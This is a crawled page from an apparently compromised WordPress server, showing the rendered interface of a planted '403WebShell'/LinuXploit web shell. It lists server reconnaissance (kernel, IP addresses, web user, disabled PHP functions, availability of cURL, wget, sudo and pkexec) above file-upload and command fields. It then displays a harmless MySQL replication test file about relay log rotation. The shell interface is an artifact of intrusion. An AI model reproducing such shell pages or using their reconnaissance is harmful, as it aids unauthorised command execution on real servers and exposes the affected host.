WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/extra/rpl_tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/extra/rpl_tests/rpl_max_relay_size.test
# Test of options max_binlog_size and max_relay_log_size and
# how they act (if max_relay_log_size == 0, use max_binlog_size 
# for relay logs too).
# Test of manual relay log rotation with FLUSH LOGS.

# Requires statement logging
-- source include/master-slave.inc

connection slave;
stop slave;
connection master;

--echo #
--echo # Generate a big enough master's binlog to cause relay log rotations
--echo #

create table t1 (a int);
let $1=800;
disable_query_log;
begin;
while ($1)
{
# eval means expand $ expressions
 eval insert into t1 values( $1 );
 dec $1;
}
enable_query_log;
drop table t1;
save_master_pos;
connection slave;
reset slave;

--echo #
--echo # Test 1
--echo #

set @my_max_binlog_size= @@global.max_binlog_size;
set global max_binlog_size=8192;
set global max_relay_log_size=8192-1; # mapped to 4096
select @@global.max_relay_log_size;
start slave;
sync_with_master;
--source include/check_slave_is_running.inc

--echo #
--echo # Test 2
--echo #

stop slave;
reset slave;
set global max_relay_log_size=(5*4096);
query_vertical select @@global.max_relay_log_size;
start slave;
sync_with_master;
--source include/check_slave_is_running.inc

--echo #
--echo # Test 3: max_relay_log_size = 0
--echo #

stop slave;
reset slave;
set global max_relay_log_size=0;
query_vertical select @@global.max_relay_log_size;
start slave;
sync_with_master;
--source include/check_slave_is_running.inc

--echo #
--echo # Test 4: Tests below are mainly to ensure that we have not coded with wrong assumptions
--echo #

stop slave;
reset slave;
# test of relay log rotation when the slave is stopped
# (to make sure it does not crash).
flush logs;

--echo #
--echo # Test 5
--echo #

reset slave;
start slave;
sync_with_master;
# test of relay log rotation when the slave is started
flush logs;
# We have now easy way to be sure that the SQL thread has now deleted the
# log we just closed. But a trick to achieve this is do an update on the master.
connection master;
create table t1 (a int);
sync_slave_with_master;
--source include/check_slave_is_running.inc

--echo #
--echo # Test 6: one more rotation, to be sure Relay_Log_Space is correctly updated
--echo #

flush logs;
connection master;
drop table t1;
sync_slave_with_master;
--source include/check_slave_is_running.inc

connection master;
# test that the absence of relay logs does not make a master crash
flush logs;
source include/show_master_status.inc;

# Restore max_binlog_size
connection slave;
set global max_binlog_size= @my_max_binlog_size;

--echo #
--echo # End of 4.1 tests
--echo # 
--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit